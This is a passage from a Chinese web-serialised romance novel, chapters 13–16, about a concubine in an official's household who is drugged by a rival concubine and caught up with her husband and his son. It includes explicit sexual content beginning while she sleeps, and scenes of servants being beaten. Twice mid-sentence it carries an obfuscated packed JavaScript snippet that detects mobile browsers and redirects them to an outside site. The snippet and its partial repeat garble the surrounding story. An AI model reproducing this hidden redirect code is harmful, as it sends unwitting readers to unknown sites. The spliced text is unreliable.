徐可心在书房外站了一整天,腰背和双腿早就酸胀不堪,良久才回过神,端着早就僵硬发干的糕点回了听雨阁。 在烈日下站了一天,徐可心早就没了力气,回院后匆匆沐浴,上床入寝,想着明日再去见大人。 入夜夏暑消退,睡梦中,徐可心只觉什么滚烫的东西贴上自己,缠上她的脚腕,拉扯她。 她半梦半醒地抬眼,却见一日未见的男人此时站在床前,攥着她的腿弯强硬分开。 夜色下,男人只着一件松松垮垮的外衣和长裤,不知何时,她身上的里衣也被褪去,半脱不脱地挂在手臂上,露出素白的软乳。 男人眸色平静,没有半分睡奸被发现的不安。 借着月色无声对视半晌,徐可心才堪堪回神,以为自己尚在梦中,她下意识起身,迎着男人审视的目光,环住他的后背埋首在他怀里委屈道,“大人,妾身今日在府外等了你一天。” 知晓在梦中,她的胆子也大了些许,话语不自觉带着几分抱怨。 环住男人的后背,含糊地嗔怪不停。 男人眼底没什么情绪,只靠在床前,揽着她的腰听她抱怨。 徐可心话语不停,把自己的不满一口气全说了出来。 怪不讲理的。 男人倒是意外的纵容,听了半晌也未说什么。 徐可心方要说梦里的大人格外温柔时,忽地察觉一处滚烫赤热,她口中的话戛然而止,慌乱地看向男人,却见男人语气淡漠问,“怎么不讲了?” 没有起伏的声音在耳边响起,格外清晰。 徐可心身体僵硬,昏沉的思绪霎时清醒,彻底说不出话了。 13. 13章 不是在做梦。 眼前的人……就是大人。 想起自己方才的絮语,徐可心怔愣良久,面色开始泛红。 林远舟抬手,抚上她的心口,指腹从下至上滑至腰侧,整个手心覆在她袒露的腰腹上,指腹按压,皮肉微微凹陷,好似刀子一般,隐隐有向下的趋势,但良久没有动,只停在上面,存在感极为强烈。 昏暗的夜色中,徐可心听见他说:“可心失约,理应受惩。” 一句话说的不轻不重,好似随口一说,但昏暗中只有他们二人,再轻的一句话在寂静的夜也会格外清晰,让人难以忽视,他的手按在她的腰腹上,格外有力,好似攥住她的一切。 身子不自觉颤抖,徐可心难耐地靠后,想脱离男人的掌心。 分开些许,她轻轻松了口气。 借着月色与他对视,徐可心不知道应说什么,无声对视良久,她终于忍不住问,“大人要如何惩处妾身?” 男人的长发垂在身后,姿态随意,手搭在床边,半阖眸子,好似真的在思索如何惩处她。 男人半晌未开口,搭在床边的手不知何时勾住她垂在腿上的长发,连同他的一缕长发勾缠在一起。 结发为夫妻,恩爱两不疑。 心上不自觉想起这句话,徐可心眸色为怔,下意识伸手,攥住男人的手指阻止他的动作。 她只是个妾室,如何能担得起此举,大人可能只是无心之举,她却不能僭越。 男人抬眸看她,眼底没什么情绪。 徐可心握住男人的手,自然地收回自己的头发,俯身靠在男人怀里,同他十指相扣。 她如今是大人的妾室,只要大人不厌恶她,对她有情,情深即可。 半边身子靠在男人怀里,听着皮下有力的心跳,徐可心不知为何,忽得有些窘迫,认为自己异想天开。 横竖怎么看,大人都不像用情之人,更不要说情深。若心有些余热,兴许还能被焐热,可心本就是冷的,又哪里有她的位置。 隔着衣服扶着男人的肩膀,她正陷入自己思绪时,男人的手没有征兆地勾住她的腰,将她抱在身上。 男人扶着她的后腰,长指按在她的后背上,将她严丝无缝地揽在怀里抱紧,俯身吻上她的侧颈。 细密厚重的吻落在颈侧,徐可心微微仰头,下意识环住男人的脖颈,五指上移,在男人的发间穿插,几乎瞬间,环住她身子的手臂用力,长指顺着脊骨下移,埋在沟谷之中。 徐可心的身心一齐困在男人的怀里,避无可避。 腻在他的柔情里,真假难辨,但真真切切给了她容身之处。 男人说是惩处,可动作明显漫不经心,不似惩处,倒像是调情。 将她抛在高处,但不让她下坠。 一颗心悬在半空,不上不下,受尽折磨。 临到最后,徐可心抚着发胀的腹部,靠着男人的肩膀喘息不停,厚重的气息环绕在身侧,她疑心自己由里到外浑身上下都是大人留下的气息。 忽地想到什么,她埋首在男人颈侧,小声抱怨,“大人不知节制,若妾身怀有身孕又该如何?” 林府上下如今只有两位公子,均为正妻所生,几个姨娘都没有子嗣。 那日大人说,府上只有夫人一个女主人,她疑心大人不喜庶出的子女,各院的姨娘才没有一儿半女。 这般想着,她的面上也不自觉浮上几分忧虑,借着月色小心窥探男人的神色。她心上忐忑不安,林远舟却没什么反应,揽着她的腰,只淡声道,“怀了便生下。” 他话语平静,未带有多少喜色,但也未透出什么不满。 意料之外的回答,徐可心面色微怔,半晌环住他的肩膀,埋首在他怀里沉闷地嗯了一声。 大人不讨厌孩子,好似是她多虑了。 临昏睡前,徐可心听见他问,为何昨日未去书房。 瞌睡醒了大半,两日的委屈也蔓延至心间,徐可心缓缓抬眸,怔愣地盯着男人的侧颜,想告诉他自己受了委屈,可现在不是在梦里,她不能说大人不喜欢的话,也不能惹大人不悦。 她迟疑片刻,复又低头,靠在男人怀里小声道,”昨日身子些许不适,才耽搁了。” 四下无声,过了半晌,男人才意味不明地嗯了一声,未再说什么。 昨日小厨房被毁,四姨娘又恰巧占了府内厨房,徐可心犹豫良久,半撑起身子,讨好地吻了一下男人的下巴,“大人,小厨房昨日不小心失火,几个丫鬟小厮都不知晓失火的缘由。若在夜里,无人看管,大火燃至厢房……” 对上男人审视的目光,徐可心话音一顿,轻声道,“他们办事不用心,妾身很怕。” 她不能招惹四姨娘,但也不能任由院中的丫鬟小厮连同外人算计她。今日烧了小厨房,明日若在夜里一把火烧了她的院子,她倒真死的不明不白。 小妹在她身边,也会遭受无妄之灾。 思及此,她微微低头,柔声道,“大人,妾身不想让他们服侍,可否换几个办事得力的下人?”她依偎在男人怀里,在他耳边低语不停,整个人委屈极了。 于大人而言,算不上什么过分的要求,只是一件不值一提的小事,可她眼下却做不到,她若想换了院中的丫鬟,先要找大夫人,得了大夫人的首肯,管家才会记下这件事,但仍不知晓新来的下人能否听她的话。 总要得了大人的命令,一众下人才能真得把她当主子。 男人未说答不答应,只揽着她的肩膀,“院中之事,可心应去寻夫人。” 他话语平静,没什么起伏,徐可心却泄了气,靠在他怀里,几不可察嗯了一声。 府中只有夫人一个女主人。 她又想起这句话,沉默良久,微微偏头,埋首在男人怀里。 白日醒来时,身旁已经没有男人的身影。 得了他的原谅,徐可心这次早早准备点心,送去书房。 她在书房站了一整日的消息传出去,众人方要笑她做了错事惹大人不快,没过一天又得了大人宿在她院中的消息。 春熙斋。 “大人难道真被几块寒酸糕点勾去了?” “里面放了什么迷魂汤不成?” 四姨娘正命丫鬟清洗花瓣,得了传讯后,面上闲适的笑容骤然收回,倏地起身,恨不得跑到听雨阁,当着徐可心的面痛骂她似的。 一旁的丫鬟低垂脑袋,不敢吭声。 四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559182|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘面色难看,气不打一处来,走上前拽走瓷盆直接摔在地上。 砰的一声,碎瓷片散落一地,丫鬟身子一颤,连忙跪在地上。 “还洗什么?不会勾引男人的下流手段,做得再好有什么用?” 她在房内走动不停,怎么都压不下心中的火气,没有征兆抬手扯住一旁丫鬟的手臂,用力掐了上去。 丫鬟霎时疼得脸色苍白,想要躲开,四姨娘见状直接冷声呵斥,“你躲什么?” “压住她!” 站在一旁的两个嬷嬷得了命令,快步上前,按着丫鬟的手臂,一脚踩在她的腿窝处,强迫她跪在地上。 “点心是罢,我让你再也送不成点心。” 四姨娘扯开丫鬟的袖子,用力掐在上面拧紧,五根长甲深深陷在里面,皮肉发青也不解气。 房门被阖上,丫鬟的哭喊声也被关在屋内。 守在门外的一众丫鬟身体瑟缩,纷纷低下头。 春熙斋的丫鬟都是过去府内的旧人,害怕四姨娘责罚,不像听雨阁,一众丫鬟下人都是别的院里不要被打发过来的。 徐可心白日做点心时,垂着眉眼,思虑良久都不知怎么去和大夫人开这个口。 夫人嫌恶她,自她入府后不曾给过她什么好脸色,院中的一众下人也是夫人安排过来的。 若她提出更换下人,难保不会被夫人认为她矫情。 可现在听雨阁里的下人鱼龙混杂,也不知道究竟谁是别的院派过来的人。 她低头思索时,一个丫鬟走上前,放下清洗干净的桂花花瓣。 徐可心握住木盆,方要接过来,却未使上力气。 她眸色不解,抬眼看去,却见丫鬟紧攥着木盘,目露迟疑。 四目对视,未等她询问,丫鬟先松了手,“姨娘,奴婢帮您磨豆粉。” 她说完,快步行至小石磨前,舀了一勺绿豆放在上面。 徐可心收回目光,未多加留神,仍想着晚间去夫人院中,求夫人换了她院中的下人。 做的凉皮豆糕,用桂花点缀。 算不上繁琐,很快做好后,她切下一小块糕点放进口中,想要品尝糕点是否太甜太腻。 不知是不是她的错觉,她总觉得今日的点心格外涩口,尤其是散在上面的桂花,透着难言的苦味,好似被药汤泡过。 徐可心以为桂花放得太久不新鲜了,犹豫良久又倒掉了瓷盘里的桂花,只带着点心去见大人。 她方一离开,留在厨房的丫鬟忙不迭捡起装有桂花的木桶,跑出去一股脑倒在树下。 今日做的点心清爽解暑,大人尝了半块,也说很好。 不知怎么回事,她在书房时,头昏昏沉沉的,格外困倦,她强忍着困意才没有直接在书房睡过去。 大人抚着她的侧脸,问她可有不适。 徐可心微微摇头,说没有,大人也未继续问,等一回到听雨阁,还未走进屋内,徐可心眼前一黑,直挺挺倒在地上。 “阿姐!阿姐!” 临昏睡前,她隐隐约约听见小妹喊自己,但眼皮好似有千斤重,完全提不起来,整个人浑身软绵绵的,提不起力气,腹部绞痛难耐,好似被刀插进去,搅弄不停…… 14. 14章 徐可心再醒来时,发觉自己躺在床上,浑身酸软。 “阿姐!” 她抬眸看去,小妹坐在床边,担忧地看她,紧攥着她的手腕。 她方要开口,头忽得刺痛,好似有针扎一般。 徐念安皱着眉,拿湿毛巾轻轻擦拭她脸上的虚汗,面色担忧。 徐可心微微蹙眉,忍着额心刺痛,半晌才缓过神,“我睡了多久?” 外面天色明亮,她以为还未到晚上。 “已经是第三日了,阿姐睡了一天一夜。” 忽得想到什么,小妹紧拧着眉,不满控诉,“我去寻府中大夫,药童告诉我,几个大夫全在春熙斋,我只能去府外寻郎中。” “郎中说阿姐食用过量蒙汗药,人身体瘦弱,不抵药效,才昏睡不醒。” 徐念安俯身,环住她的身子,依赖地靠在她怀里,面色紧绷后怕道,“阿姐终于醒来了。” 她话语不停,徐可心却无暇顾及,倏地起身,“昨日我未醒来?” 徐念安迟疑点头,“阿姐,你为何食用蒙汗药?可是入夜无法安睡?” 徐可心微微摇头,知晓已经过了足足一整日,她无暇顾及自己为何误食蒙汗药,满心想的都是昨日还未送点心给大人。 她掀开被子,想要下床,徐念安一把按住她的肩膀,“阿姐你做什么去?” “我……我昨日还未送点心。”她犹豫道。 徐念安面色一怔,好似未料到这个回答,眉头紧拧,“阿姐方醒,身子还未痊愈,如何再去点心给林叔?林叔也不可能因你少送一次就同你计较。” 徐可心走下床,未听从她的劝解。 那日她未去见大人,入夜大人就未来她房中,昨日她未去,大人仍未来听雨阁,她不知晓大人的喜好,却知晓若她不去,大人也不会主动来。 大人每日公务繁忙,一日两日不见,徐可心怕大人忘记了她。 她匆匆穿上外衫,不顾小妹的阻拦,向门外走去。 她脚步匆忙,出门时未多加留意,直接撞进来人的怀里。 “当心。” 清朗的声音在身前传来,透着几分告诫的意味,冷白修长的手紧攥她的手臂,扶住她的身子。 徐可心方要道谢,抬头看清来人的面容,到嘴边的话霎时停下,转为一声不解,“长公子?” 身形颀长的男人身着蓝衣,站在她面前,面色冷漠,算不上好。 清雅寡淡的沉香味萦绕至面前,徐可心忽地意识到,两人的姿势太过亲密,不自觉想起自己那日被夫人喊去罚跪,她慌乱退后,想要同男人拉开距离。 可攥着她手臂的五指格外有力,好似铁钳一般,让她难以脱身,她身子不稳,险些摔在地上,修长的手先伏住她的后腰,稳稳地托着她的身子。 温热的掌心隔着薄衣紧紧贴着她的后背,沉香味贴在身上,愈发难以忽视,她整个人被男人半揽在怀中,面色窘迫。 红意从耳尖蔓延至脖颈,眸色躲闪。 她扶着男人的胸膛,半边身子靠在他怀里,只觉男人的胸膛格外坚硬结实。 未等她说什么,林怀瑾没有征兆地收回手,向后略微仓促地退了一步,目光落在她的身前,面色紧绷。 徐可心低头,却见自己的外衣虚虚穿在身上,不知何时敞开,露出半边白皙的胸脯。 刚刚他揽着自己时,徐可心感觉他胸膛很硬,没道理对方也毫无感受。 思及此,徐可心的脸色也愈发涨红,她慌乱地勾着外衣,背过身子忙不迭整理衣服。 站在门外的林怀瑾也早就转过身,脸色难看至极。 徐可心方要同他道谢,见他脸色铁青,也不敢再开口,半晌才轻声道,“谢过公子。” 她说完,不敢多加停留,越过林怀瑾就要离开,本面色难看的男人没有征兆抬手,拦在她身前,“姨娘身子还未痊愈,要去何处?” 对上他审视的目光,徐可心下意识垂眸,不与他对视。 她不说,跟在她身后的徐念安上前,“还能做什么?阿姐要为林叔准备点心。” “还请长兄代阿姐告诉林叔,她如今身子不适,不能去送点心给他。” 徐念安的语气算不得好,还带着几分指责的意味,好似林远舟存心为难她,每日强迫她去送点心。 徐可心连忙扯住小妹的手腕,示意她勿要再多言。 小妹不满她成了大人的妾室,长公子不满大人纳她为妾,徐可心站在他们二人之间,只觉手足无措,不敢去看他们二人的脸色。 “是我主动去送点心给大人。” 此话一出,谁都未再开口,可两人的目光格外直白,让她难以忽视,半晌徐可心松开小妹的手,向小厨房走去。 她还未同大人解释她失约的事情,大人说不定再等她。 思及此,徐可心的脚步也快了些许,她忍着不适,做了一份点心。 等她从小厨房出来时,院中早就没了林怀瑾的身影,不知何时离开。 她跑去书房想要去见大人,还未等进去就被侍卫拦了下来。 侍卫看了眼她手中的食盒,斟酌道,“眼下四姨娘在书房,想必今日不会离开,不如卑职代姨娘转交给大人?” 话音刚落,未等徐可心回答,书房内传来脚步声。 房门被从里面推开,四姨娘站在门前,她勾着眉眼,目光意味不明,带着几分探究,好似阴毒的蛇在自己脸上爬行,令人格外不适。 徐可心微微蹙眉,不自觉向后退了一步。 四姨娘见状,嗤笑一声,直接夺走她手中的食盒,“身子骨好了吗?就跑到书房勾引人,还真是不要脸。” 她话语直白,丝毫不顾及站在一旁的两个侍卫。 知道大人不喜争执,徐可心垂着眉眼,挨下她这声骂。 她不应,四姨娘白了她一眼,“装什么呢?还真以为自己仍是什么身份金贵的千金小姐。” “大人正在榻上午寝,我代你转交。”说完,四姨娘直接关上门,将她拦在门外。 徐可心站在书房门前,站立良久,才缓缓回过神,忽视一旁侍卫复杂的目光,叹了口气转身向院外走去。 大人眼下午寝,又有四姨娘在身边,今夜想必不会再来听雨阁寻她。 她低垂着脑袋,还未等走出院门,头再次昏沉,徐可心面色苍白,忍着头疼回了院中。 听雨阁。 徐可心方走进屋内,却见徐念安坐在琴前,面色难看。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559183|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四目对视,徐念安好似要说什么,可在看到她的瞬间,脸色肉眼可见凝重,“阿姐,你先休息,我去为你请郎中。”说完,她急匆匆跑了出去。 徐可心眼神不解,见小妹背影匆忙,她轻抚自己的侧脸,疑心自己的脸色格外不好。 她秉着口气走至床上,跌倒在床的瞬间,身上再也提不起半分力气,头格外沉重,好似被人下了降头。 不知睡了多久,她的意识终于清醒几分,但依旧睁不开眼皮,徐可心躺在床上,依稀听见耳边传来小妹焦急的斥责声,还有一道些许熟悉的声音。 那人向大夫问询她的病情,又命下人去抓药…… 有他在,小妹本慌乱的声音也逐渐平复。 半梦半睡之际,清朗的男声一直陪在身侧,莫名地令人感到安心,徐可心的心也愈发安稳,沉沉睡去。 不知是余毒未消,还是知晓有人陪在自己身侧,徐可心睡得很沉。 她醒来时,天色已黑。 徐可心下意识去寻那道声音,但屋内空无一人,俨然没有那人的身影。 过了半晌,房门被推开,徐念安端着药碗走进,见她醒来下意识喊了声阿姐,连忙上前。 徐可心接过她手中的药碗服下汤药,犹豫半晌还是未问她那人是谁。 徐念安站在床前,话语不停地询问她的病情,知道她的头不再疼,徐念安才松了口气。 她坐在床前,忽得想到什么,紧拧眉心,“阿姐,他们也太欺负人了,不说那几个大夫一直赖在春熙斋不走,不来听雨阁为你诊治,连那几个药童也不挑拣药材,只说没有。” “还是大公子派人前去,药童才舍得拿药,一问才知晓,原是他们得了四姨娘的命令,不得为你医治。” “怎么你方中毒,她那里就下了命令,要说是巧合,狗都不信,阿姐此番中毒想必和那女人脱不了干系。” 徐念安气得脸色涨红,咬牙道,“先前那郎中医术拙劣,只查出你误食蒙汗药,等御医前来,才知晓还中了旁的毒,若非及时医治,想必这毒在体内蔓延,日日夜夜侵损阿姐的身体。” 她话语不停,徐可心闻言也白了脸色。 小厨房失火的事还未过去多久,这毒又下在她口中。 徐可心只觉浑身血液冷凝,脑海中忽得浮现起白日在书房前四姨娘的那句话,面色不自觉绷紧。 她伏在被子上的手指不自觉攥紧,良久才看向徐可心,“大少爷为何会知晓我中毒?” 她刚开始醒来一直惦记点心的事情,还未仔细询问,如今四下无人,身子彻底好了,才想起自己两次昏倒,林怀瑾都知情,还意外地……帮了她。 徐念安本来控诉不停,闻言话语一噎,良久才小声道,“我去了他院中,求他为你找郎中。” “是你让他前来的?”徐可心不自觉蹙眉。 好似听出她话里的质问,徐念安连忙解释,“阿姐,我没让长兄前来,我只是求他寻郎中,是他知晓你晕倒主动过来的。” 话音刚落,徐可心眸色一怔。 “真的,阿姐你信我,他眼下就在院外,不信你问长兄。” 她下意识向窗外看去,却见一道修长的身影站在屋外,不知听了多久。 15. 15章 男人站在院外,身姿挺立,月华伏在他的肩头,覆上一层皎白月色。 他背对着窗外站立,只露出半边侧颜,那双素来冷漠的眸子看向旁处,让人不得窥见,倒让他多了几分人情味。 好似察觉屋内安静下来,男人抬眼看了过来,徐可心看得入神,未来得及收回目光。 四目对视,林怀瑾眼神平静,没什么反应,只站在院外道,“府中下人失了尊卑,我会禀告父亲。” 好似想到什么,他又道,“之后姨娘受了什么委屈苛责,也可来院中寻我。” 他话语冷漠,透着公事公办的意味,丝毫未意识到他话里的不妥。 在夜里对一个女人做承诺,话里话外带着给她撑腰的意思,而对方还是他父亲的妾室。 她受了委屈,理应去寻他的父亲,而他先入为主,让她去寻他。 说不触动是假的,若非知晓长公子怀有赶她离府的意图,徐可心疑心自已容易失了分寸,忍不住去依赖眼前的男人。 长公子不计前嫌,愿意为她撑腰,但她应时刻谨记自己的身份,不能失了分寸。 徐可心紧抿着唇,犹豫良久起身,站在窗前低垂眉眼,轻声道谢。 “谢过长公子。” 一墙之隔,两人都看不到彼此的神情,木窗半掩,月华乍泄,温温柔柔透着怯懦的声音就从这空荡之间飘了出去,落在院外之人的耳中,被他听了去。 良久窗外才传来回应,男人意味不明地嗯了一声,离了听雨阁。 沉稳的脚步声在静谧的夜格外清晰,渐行渐远,踩在她的心上,最后连同背影一起消失在院中。 “阿姐,长兄人真好,以后有他在,那几个下人也不会给我们脸色看了。” 徐可心转过身,一把攥住小妹的手腕,徐念安眼神不解,“怎么了阿姐?为何用这种眼神看我?” “以后不准再去大少爷的院中。”她说。 “啊?长兄不已经说了,受了委屈可以去找他?”徐念安努嘴,面色不解。 “他是林府长公子,大夫人的儿子,若我们常与他有所来往,大夫人会苛责阿姐,认为阿姐存心引诱长公子。” “那日我送点心给大少爷,被夫人罚跪,夫人在意两位少爷,我们也应安分守己,注意分寸。” 她耐心解释,徐念安听到她被罚跪,眸子霎时瞪大,“阿姐不是说夫人那日唤你前去只是闲聊吗?她竟欺负阿姐!” 不知晓门外是否有人偷听,徐可心连忙捂住徐念安的嘴,“隔墙有耳,勿要胡言乱语。” 徐念安紧皱着眉,眸中也蕴出几分怒气,半晌扯开她的手,不情愿地换了措辞,“我知道了,夫人只是训诫阿姐……” 她说完,好似终于明白他们之间身份有别,理应避嫌,泄气地趴在床边,小声嘟囔,“念安以后不会去再去找长兄了。” 徐可心抚着她的肩膀,轻轻叹息,她知道长公子是好心,但她身不由己,无法接受他这份好意。 避而远之,对两人都好。 听雨阁几天几夜没消息,五姨娘不离开院子,大人也未去她院中,众人不得其解,一打听才知晓,原来这人吃错了东西,昏睡几日。 书房内。 身着朝服的男人手持公文,看了半晌又放下,长指勾着毛笔,漫不经心地搭在书桌上,良久未落下一字。 临近晚膳,外面依旧没什么动静。 不知又过了多久,才传来一阵急促的脚步声。 男人半阖眉眼,问罪的话到了嘴边,方要开口,管家的声音在门外响起,“大人,该用晚膳了。” 还未出口话兴致缺缺停在口中,男人半阖眉眼,勾着毛笔,忽觉几分空虚。 “春熙斋的丫鬟在院外侯着,说四姨娘亲自准备了晚膳,不知大人……是回正院,还是去春熙斋?”管家迟疑问。 屋内良久没有声音,过了半晌才听他说,“春熙斋。” 华纱幔帐内,女人站在桌前,微微扬唇,俯身为男人布菜。 她只穿了襦裙,未着外衣,半边胸膛和手臂都露在外面。 虽是一件常服,可裙上的刺绣花纹格外繁琐,针脚也极其细密,落在上面的飞鸟栩栩如生,随时可以飞走一般,透着浓厚的书卷气。 林远舟垂着眉眼,忽得想起,那人的里衣格外素净,衣服所用布料也不出奇,只是再寻常不过的棉布。 四姨娘正在布菜,见男人的目光落在她裙上的花纹上,她内心欣喜,面上却只浅浅一笑,讨好地娇笑道,“大人可还记得,年前苏州知府携贽礼上门,带了足足两箱子的布匹。” “可惜十多匹布,妾身只得了两匹,剩下的全被夫人留在了库房。”她话语埋怨,借着机会挖苦大夫人,“大人,妾身今年只做了三件夏衣,翻来覆去那几件衣服,妾身看都看腻了。” 男人眼底没什么情绪,勾起她垂在身侧的衣带,饶是衣带也绣着花藤,繁琐精致。 四姨娘见状,佯装羞涩地环住男人的脖颈,半靠在他怀里,“大人,还未用晚膳,妾身等下服侍您可好?” 怀中暗香浮动,但不知为何,林远舟不自觉想起那人身上寡淡的药香。 男人垂着眉眼,半晌松开手中衣带。 四姨娘本想着今夜留男人在院中,谁成想大人连晚膳都未用,离了春熙斋。 只等男人的身影从院中消失,她捡起桌上的盘子直接摔在地上,噼里啪啦的,摔打声不停。 半晌她坐在桌前,紧咬着牙,直接拉过近身的丫鬟,用力掐在她身上。 “都怪你们不得力,做的饭菜不合大人心意!” 她手上不留情,发泄似的用力拧紧丫鬟的手臂,丫鬟年纪小,哇的一声哭了出来。 “哭哭啼啼的,再哭就拔了你的舌头!” 屋内哭声戛然而止,之后只余下断断续续的抽泣声。 四姨娘素来得宠,身上穿的用的都是几个姨娘之中最好的,连春熙斋的陈设都格外金贵,云锦幔帐,红木桌椅…… 官员大臣送来什么东西,先过正院的手,其次是二姨娘、三姨娘,最后才是她。 可一众下人讨好她,会特意为她留意,告诉她府内又得了什么东西,等到了晚上,她就去寻大人,抱怨自己委屈,把东西要过来。 春熙斋的东西都是一等一的好物,和它相比,方住进人的听雨阁年久失修,绿瓦覆着一层薄薄土灰,远远望去,好似都能闻到院内腐败陈旧的气息。 自立府后听雨阁就不曾住过人,林远舟过去也不 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林怀瑾也知晓他和五姨娘身份有别,不应在父亲面前提及五姨娘,可想到那女人躺在床上面色苍白的模样,不知为何,他又想为她主持公道。 只是为她不平而已,没有其他私心。 林怀瑾在心里这般想着,缓声陈述,“五姨娘近日卧床不起,听雨阁的人前去府内药堂寻大夫,但几人都被叫去春熙斋,太医来诊治,才知晓五姨娘误食蒙汗药和一副慢性毒药。” “丫鬟拿药方前去,药童也不曾为她抓药,审问后才知晓,原是他们得了四姨娘的命令,不得为五姨娘诊治。” 林怀瑾讲完,本以为父亲会恼怒,可过了良久,也未听到回应,他抬眸看去,却见男人半阖眸子,仍是那副漫不经心的模样,好似并不在意此事。 知道四姨娘素来得宠,林怀瑾也不知晓父亲可否会为了此事忍心责罚四姨娘,只站在一旁,耐心等候他的命令。 不知过了多久,男人终于有了反应,他拿起一旁的毛笔,语气淡漠问,“她央求怀瑾为她做主?” 五姨娘自入府后一直谨言慎行,鲜少越矩,恐父亲误会,林怀瑾坦白道,“不曾,是孩儿见她饱受欺凌,才前来告诉父亲。” 在公文上落下最后一笔,林远舟阖上公文随手扔到一旁,眼底没什么情绪。 “既然她未诉求,怀瑾又为何说出她饱受欺凌的话?” “何况她是为父的妾室,受了委屈自会来寻为父,怀瑾又为何替她做主?” 林怀瑾话语一噎,听出他怀里的责问,下意识道,“父亲,五姨娘为人小心谨慎,受了委屈,恐不会向父亲诉说。” 林远舟意味不明地低笑一声,“你倒是了解她。” 林怀瑾面色微凝,方要解释自己没有僭越之心,只想为五姨娘讨回公道时,却听男人漫不经心道: “怀瑾对可心如此上心,不如为父将她赏给怀瑾,让可心做你的妾室如何?” 林怀瑾骤然抬眸,却见男人姿态闲适,眼底甚至带着意味不明的笑意,不像打趣调侃,好似真得再认真考虑这个提议。 16. 16章 林怀瑾眉头紧皱,脸色肉眼可见变得难看,“怀瑾与五姨娘清清白白,还望父亲莫要误会。” 就算五姨娘不是父亲的妾室,也与昭明有过婚约,无论他以何种身份,长子亦或长兄,从伦理来讲,都不应与徐可心有所牵连,万万不可收她为妾。 未曾想过父亲会说出这番话,林怀瑾脸色难看,好似被人一拳打在脸上。 林远舟面无表情,“若对她无意,可心是否受了委屈,又和怀瑾有何关系?” “她是为父的妾室,也是你的庶母。” “怀瑾,你已然失了分寸。” “父亲,我绝无私情,只是五姨娘太过可怜……”林怀瑾想要解释,可对上父亲审视的目光,他话语一噎,良久沉默。 他不再开口,林远舟手执毛笔,目光复又落在手中的公文上。 眼下他的妾室受了委屈,不来寻他,反倒去寻他的长子,而他的长子执迷不悟,也要为她讨回公道。 两人郎情妾意,倒真是令人动容。 他没道理为了一个妾室同自己的长子置气,也知晓长子克己复礼,不可能对他的妾室有旁的心思。 可他的长子为他的妾室向他求情,林远舟心上莫名生出背叛之感,只觉自己的情人红杏出墙,奸夫还是他的亲儿子。 林远舟斜斜倚着檀木座椅,姿态随意,面上却没有几分笑意,垂眸注视手中公文,好似在专心批阅,可良久未落下一字。 林怀瑾虽心有不甘,但听出父亲话里的告诫,犹豫良久,终究退了下去。 书房门合上,不知过了多久,男人才放下公文,按揉眉心。 火烛燃烬,昏黄的光覆在男人身上,徒增几分疲惫。 他的确喜欢情人的温顺,但不包括情人受了委屈去求助旁的男人,就算是他的长子也不行。 过了半晌,门吱呀一声打开。 小厮推门走进,换了烛盘里的火烛。 “在年前苏州知府送来的苏绣绣布里,择三匹清雅别致的面料,依五姨娘的身子裁制衣衫。”林远舟按压酸胀的额心,平声吩咐。 “是,大人。” 见他按揉头皮,小厮转了下眼睛,试探道,“大人,方入夜,想必听雨阁那边还未入寝,不如小人现在唤姨娘过来,让她当面答谢大人?” 林远舟按揉眉心的动作一顿,良久才道,“不必,命侍卫将药堂的大夫和春熙斋的丫鬟押至内狱,令人一齐审问。” 临近亥时,各院已经安寝。 忽得府内传来一阵哭喊声,很快又消散。 药堂的大夫正躺在床上酣睡,被侍卫掐着衣领直接拖到地上,霎时清醒。 地牢内。 一众下人瑟缩着身子,浑身颤抖不停。 眼见侍卫手握长鞭就要抽在其中一个丫鬟身上,那人匆忙下跪,未语先泣,捋起袖子露出手臂上青红的伤痕,哭喊道,“都是四姨娘的主意,奴婢们若不遵从,她便打骂不停。” 有了她出头,一众丫鬟也纷纷捋起袖子,露出手臂上结痂的掐痕。 一人甚至直接脱下外衣,后背上大片的烫伤霎时暴露在众人面前,褶皱的皮肤好似褪下的蛇皮伏在后背上,触目心惊,令人不忍直视。 虽说春熙斋吃穿用度都是府内最好的,但仅限于四姨娘和几个嬷嬷。 一众丫鬟每日干着脏活累活,还要挨四姨娘的打骂,稍微露出不满便吃不上饭,甚至不如府内的杂役。 她们也不是未想过离开春熙斋,可各院管各院的事,彼此之间,谁都管不到谁,另外两位姨娘知晓她们是春熙斋出来的,都不愿留下她们。 倒是有一个丫鬟买通好嬷嬷,被调去了听雨阁,可四姨娘得知后,一直拿她过去的错事威胁敲打她,让她不得安宁。 春熙斋上下众人,深受其害。 正堂内。 四姨娘跪在地上,身子瑟缩不停。 男人坐在主位,长指搭在茶盘上,指骨轻抵桌面,看着杯中茶水,眼底没什么情绪。 良久后,管家走至正堂,身边还带着一个丫鬟。 “把你方才讲的都告诉大人。”他命令道。 丫鬟跪在地上,看了眼跪在地上的女人,面上露出不加掩饰的恨意,破罐子破摔,一股脑地把四姨娘欺辱她们和算计五姨娘的事情全都讲了出来。 知道她们身为下人人微言轻,丫鬟把话头尽数落在五姨娘身上。 “大人,五姨娘同四姨娘无冤无仇,只因四姨娘嫉妒五姨娘得宠,便命奴婢在姨娘送给大人的点心中下药,五姨娘误食毒药才会昏睡不醒……” 未等旁人说什么,四姨娘先急声打断丫鬟的话,“大人,勿要听她胡言乱语,妾身一门心思扑在大人身上,只想尽心服侍大人。” “五姨娘能同妾身一起照顾大人,妾身高兴还不及呢,又怎会嫉妒她,还请大人明鉴。” 